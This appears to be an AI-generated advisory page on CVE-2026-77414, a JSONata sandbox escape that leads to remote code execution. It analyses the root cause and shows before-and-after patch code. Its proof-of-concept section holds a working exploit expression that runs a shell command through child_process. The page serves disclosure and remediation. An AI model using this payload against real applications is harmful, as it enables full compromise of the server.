CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-77414

CVE-2026-77414: Critical Sandbox Escape and Remote Code Execution in JSONata via Prototype Pollution

Alon Barad
Alon Barad
Software Engineer

Aug 21, 2026·7 min read·159 visits

Executive Summary (TL;DR)

A critical vulnerability in JSONata permits attackers to bypass query sandbox isolation and achieve remote code execution by shadowing local lookup methods and traversing the prototype chain.

CVE-2026-77414 (GHSA-2943-5xfg-gq5f) is a critical sandbox escape and remote code execution vulnerability in the JSONata package. When JSONata processes untrusted expressions, it uses a vulnerable environment lookup check that can be shadowed by user-defined variables. Attackers can leverage this to traverse the prototype chain, reach the global Function constructor, and execute arbitrary system commands on the host machine.

Vulnerability Overview

JSONata is a domain-specific query and transformation language widely embedded in Node.js applications to execute structured operations over JSON payloads. The interpreter is designed to execute queries safely without granting direct access to the underlying JavaScript execution environment. To maintain safety, JSONata relies on an internal sandbox that isolates the query execution runtime from the global JavaScript scope.

This security boundary is compromised when users can query, read, or modify administrative properties belonging to the runtime environment. In typical web applications, JSONata is used in back-end microservices, integration platforms, and API gateways where users supply custom query templates to shape application outputs. If an attacker can inject queries that escape the sandbox, they can interact directly with the Node.js runtime process.

CVE-2026-77414 identifies a vulnerability where JSONata's internal scope-tracking implementation fails to protect internal properties of JavaScript objects during variable resolution. By manipulating the variable binding mechanism, an attacker can traverse the JavaScript prototype chain. This prototype chain traversal leads to a complete sandbox escape, enabling arbitrary code execution on the hosting system.

Root Cause Analysis

The root cause of this vulnerability lies in how JSONata manages execution frames and resolves variable names inside the src/jsonata.js module. Every variable definition or query execution context is tracked using standard environment frames initialized by the internal createFrame function. This function initializes a local context bindings map using a standard JavaScript object literal (var bindings = {}).

Because bindings is instantiated as a standard object literal, it inherits properties from Object.prototype, including native methods like hasOwnProperty, toString, and constructor. To verify if a variable lookup request is defined within the local frame, the lookup mechanism invokes bindings.hasOwnProperty(name). This implementation assumes that the hasOwnProperty property on the bindings object will always resolve to the native Object.prototype.hasOwnProperty function.

However, JSONata allows dynamic variable assignment within the query expression itself. An attacker can assign a custom value to a variable named hasOwnProperty, which shadows the native method on the bindings object. When the evaluator subsequently invokes bindings.hasOwnProperty(name), it executes the user-defined value instead of the native method, causing the existence check to bypass or fail. This lookup failure allows the evaluator to skip the frame boundary check and fall back to searching the prototype chain for the requested key.

Code-Level Fix Analysis

The remediation of CVE-2026-77414 required rewriting how frame scopes are initialized and how property lookups are performed. The primary fix is implemented in commit 59e25144fc3b7125f6befd71b8a6e14e1fa610d2. The vulnerable initialization of the bindings map as a standard object literal was refactored to use Object.create(null). This creates a prototype-free object, completely severing any inheritance from Object.prototype.

// VULNERABLE CODE
function createFrame(enclosingEnvironment) {
    var bindings = {}; // Regular object inheriting Object.prototype
    const newFrame = {
        bind: function (name, value) {
            bindings[name] = value;
        },
        lookup: function (name) {
            var value;
            if(bindings.hasOwnProperty(name)) { // Vulnerable direct check
                value = bindings[name];
            } else if (enclosingEnvironment) {
                value = enclosingEnvironment.lookup(name);
            }
            return value;
        }
    };
    return newFrame;
}
// PATCHED CODE
function createFrame(enclosingEnvironment) {
    var bindings = Object.create(null); // Secure: Prototype-free map
    const newFrame = {
        bind: function (name, value) {
            bindings[name] = value;
        },
        lookup: function (name) {
            var value;
            // Secure lookup: explicit call to prototype-safe method
            if(Object.prototype.hasOwnProperty.call(bindings, name)) {
                value = bindings[name];
            } else if (enclosingEnvironment) {
                value = enclosingEnvironment.lookup(name);
            }
            return value;
        }
    };
    return newFrame;
}

In addition to secure variable maps, secondary commits protected internal evaluation pathways. Commit 47c0e58542202c705726663166dbee5fcae47d06 blocks wildcard queries from extracting internal structures of function objects. Commit f174348c7fa30f271b63ddedf0767e814004bc4d introduces a check that prevents users from manually passing objects containing internal fields like _jsonata_lambda or _jsonata_function. Together, these patches ensure that attackers cannot spoof internal runtime abstractions.

Proof of Concept & Attack Path

Exploitation of CVE-2026-77414 requires the attacker to construct a query that pollutes the frame bindings map and redirects variable resolution to the prototype chain. The initial step is to shadow the lookup method by binding a custom variable: $hasOwnProperty := $spread($string). This variable assignment overwrites the identifier hasOwnProperty in the local frame, disrupting the standard evaluation of the bindings.hasOwnProperty(name) condition.

Once the native method is shadowed, subsequent lookups bypass local boundaries. The evaluator allows access to prototype-inherited identifiers, resolving the custom query variable $constructor to the native Object.prototype.constructor function. The attacker can then invoke this constructor dynamically to generate arbitrary JavaScript functions in the host runtime context.

import jsonata from 'jsonata';
 
// A crafted expression bypassing the environment lookup check
const expression = jsonata(`
(
     $hasOwnProperty := $spread($string);
     $__proto__ := $constructor;
     $constructor("return process.getBuiltinModule('child_process').execSync('id',{stdio:'inherit'})")();
)`);
 
// Triggering evaluation against an empty context
await expression.evaluate({});

The final payload invokes the global Function constructor with a body that accesses Node.js's built-in dynamic module import mechanisms. By executing process.getBuiltinModule('child_process').execSync(...), the payload escapes the JSONata virtual machine wrapper and executes system-level terminal commands. The evaluation succeeds without requiring specialized application conditions or authentication states.

Impact Assessment

The technical impact of this vulnerability is classified as critical, carrying a CVSS v4.0 base score of 9.3. The attack is executable entirely over the network, requires no specific user interaction, and can be initiated by unauthenticated users. It results in a complete loss of confidentiality, integrity, and availability on the hosting server.

When a server-side Node.js application accepts user-defined JSONata expressions for execution, the exploit permits arbitrary shell execution within the container or host operating system. Threat actors can read sensitive configuration files, capture environment variables, and steal database credentials. They can also use local access to pivot into internal cloud environments or connect to remote command-and-control networks.

In serverless and microservice deployments, an attacker can leverage this access to persist inside the runtime, compromise adjacent database instances, or deploy unauthorized payloads. Because the vulnerability results in direct operating system shell execution, any service utilizing vulnerable versions of JSONata must be treated as completely compromised upon exposure.

Comprehensive Mitigation

Remediation requires upgrading the jsonata NPM package to a secure release. For deployments operating on the 1.x branch, the secure backported version is 1.8.8. Deployments on the 2.x branch must upgrade to version 2.2.1 or higher. Applications should automate dependency checks using audit tools to detect vulnerable instances.

If immediate software upgrade is not possible, developers should deploy virtual machine isolation or low-privilege containerization. Running Node.js instances within gVisor, Firecracker, or strict Linux namespaces limits the blast radius of any system-level execution. Additionally, untrusted user inputs should not be processed directly by the JSONata evaluator if possible.

Security teams must also implement egress filtering on databases and application servers. Restricting outbound network connections prevents escaped web shells from downloading additional malware or communicating with command-and-control servers, disrupting the final stages of a potential exploit attempt.

Fix Analysis (3)

Technical Appendix

CVSS Score
9.3/ 10
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Affected Systems

JSONata npm package versions < 1.8.8 and >= 2.0.0 < 2.2.1Node.js applications evaluating arbitrary or untrusted user-supplied JSONata query expressions

Affected Versions Detail

Product
Affected Versions
Fixed Version
jsonata
JSONata
< 1.8.81.8.8
jsonata
JSONata
>= 2.0.0 < 2.2.12.2.1
AttributeDetail
CWE IDCWE-94
Attack VectorNetwork
CVSS v4.09.3 (Critical)
ImpactRemote Code Execution (RCE) / Sandbox Escape
Exploit StatusProof-of-Concept
KEV StatusNot Listed

MITRE ATT&CK Mapping

T1059Command and Scripting Interpreter
Execution
T1203Exploitation for Client Execution
Execution
CWE-94
Improper Control of Generation of Code ('Code Injection')

The software constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes the input before the code segment is executed.

Known Exploits & Detection

GitHub Advisory GHSA-2943-5xfg-gq5fVulnerability disclosure advisory containing step-by-step verification steps and context details.

Vulnerability Timeline

Initial lookup shadowing addressed in JSONata v2.2.0
2026-05-14
Environment prototype pollution hardening commit added
2026-05-15
Sequence limits and internal flag checks introduced to prevent dynamic lambda spoofing
2026-05-19
Security patch backported to 1.x branch
2026-07-15
Vulnerability CVE-2026-77414 / GHSA-2943-5xfg-gq5f publicly disclosed
2026-08-21

References & Sources

  • [1]JSONata Security Advisory GHSA-2943-5xfg-gq5f
  • [2]JSONata Pull Request #799 - Mitigate Prototype Pollution and Sandbox Traversal
  • [3]JSONata Fix Commit 59e2514
  • [4]JSONata Release Commit v2.2.1
  • [5]JSONata Release Announcement v1.8.8
  • [6]JSONata Release Announcement v2.2.1

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•15 minutes ago•CVE-2026-46429
5.5

CVE-2026-46429: Unrestricted File Upload and Validation Bypass in GeoNode

GeoNode versions prior to 5.0.3 contain an unrestricted file upload vulnerability (CWE-434) within the document and dataset ingestion architecture. Authenticated low-privileged users can bypass upload validation via direct REST API interactions, file extension masquerading, metadata mutation via PATCH requests, or malicious archive submissions. This allows attackers to store and serve dangerous file types, alter on-disk file references, or trigger path traversal and resource exhaustion during archive extraction.

Amit Schendel
Amit Schendel
1 views•10 min read
•about 1 hour ago•CVE-2026-55649
6.3

CVE-2026-55649: Stored Cross-Site Scripting in GeoNode Document Metadata Abstract Field

CVE-2026-55649 is a stored Cross-Site Scripting (XSS) vulnerability in GeoNode versions prior to 5.0.3. The flaw exists because document abstract metadata fields are ingested via the metadata management pipeline and stored in the backend database without HTML sanitization or input neutralization. An authenticated attacker with privileges to create or edit document metadata can inject arbitrary HTML and JavaScript payloads into these fields. When another user, such as an administrator, views the affected document page or catalog listing, the unencoded payload is rendered into the Document Object Model (DOM) and executes within the victim's browser session.

Amit Schendel
Amit Schendel
4 views•9 min read
•about 2 hours ago•GHSA-QX75-2P3R-PWM5
7.7

CVE-2026-55622: Cross-Project Instance Copy Authorization Bypass in Canonical LXD and LXC Incus

CVE-2026-55622 (GHSA-qx75-2p3r-pwm5) is an improper access control vulnerability (CWE-284) in Canonical LXD and LXC Incus (tracked as GHSA-c9f5-j9c3-mhrg). In multi-tenant deployments utilizing project-based isolation, the REST API handler for instance creation via POST /1.0/instances verifies that the authenticated user has authorization in the destination project specified by the query parameter, but fails to verify whether the user holds read or view permissions for the source instance when executing a copy operation across projects. Consequently, an authenticated client restricted to a single project can clone instances or snapshots from unauthorized projects into their own project, resulting in complete disclosure of the target instance filesystem and embedded credentials.

Amit Schendel
Amit Schendel
3 views•11 min read
•about 3 hours ago•GHSA-7MR3-28H5-M5VX
7.7

GHSA-7mr3-28h5-m5vx: Authorization Bypass and Cross-Project Volume Copy in Canonical LXD

An authorization bypass vulnerability in Canonical LXD (tracked as GHSA-7mr3-28h5-m5vx and CVE-2026-55621, and as GHSA-64f3-v33m-w89f in Linux Containers Incus) allows an authenticated user with restricted project access to copy custom storage volumes and volume snapshots from unauthorized projects. The flaw resides in the storagePoolVolumesPost REST API handler, which verifies permissions on the destination project but fails to check whether the caller holds view entitlements on the source project or volume specified in the request body.

Alon Barad
Alon Barad
3 views•10 min read
•about 4 hours ago•GHSA-47W9-6R3F-938G
9.9

GHSA-47w9-6r3f-938g: Authorization Bypass and Host Root Command Execution in Canonical LXD and Incus

A missing authorization and configuration validation vulnerability in Canonical LXD and LXC Incus allows authenticated users within restricted projects to bypass project security boundaries. By smuggling prohibited low-level configuration directives (such as raw.lxc or raw.qemu) inside instance snapshots or backup archives, an attacker can restore these configurations within a restricted project and execute arbitrary commands with root privileges on the underlying host operating system.

Alon Barad
Alon Barad
4 views•11 min read
•about 5 hours ago•GHSA-JPF8-86F3-WP38
9.9

CVE-2026-48752: Arbitrary Host File Read and Write via Templates Symlink in Canonical LXD and Incus

A symbolic link traversal vulnerability (CWE-59) in Canonical LXD and Linux Containers Incus allows an authenticated user with image import permissions to read and write arbitrary files on the host filesystem. During image archive unpacking, the daemon fails to reject top-level symbolic links for the instance `templates` directory. Subsequent requests to the instance template API endpoints follow this symbolic link outside the instance storage directory with root privileges, enabling complete host compromise.

Amit Schendel
Amit Schendel
4 views•10 min read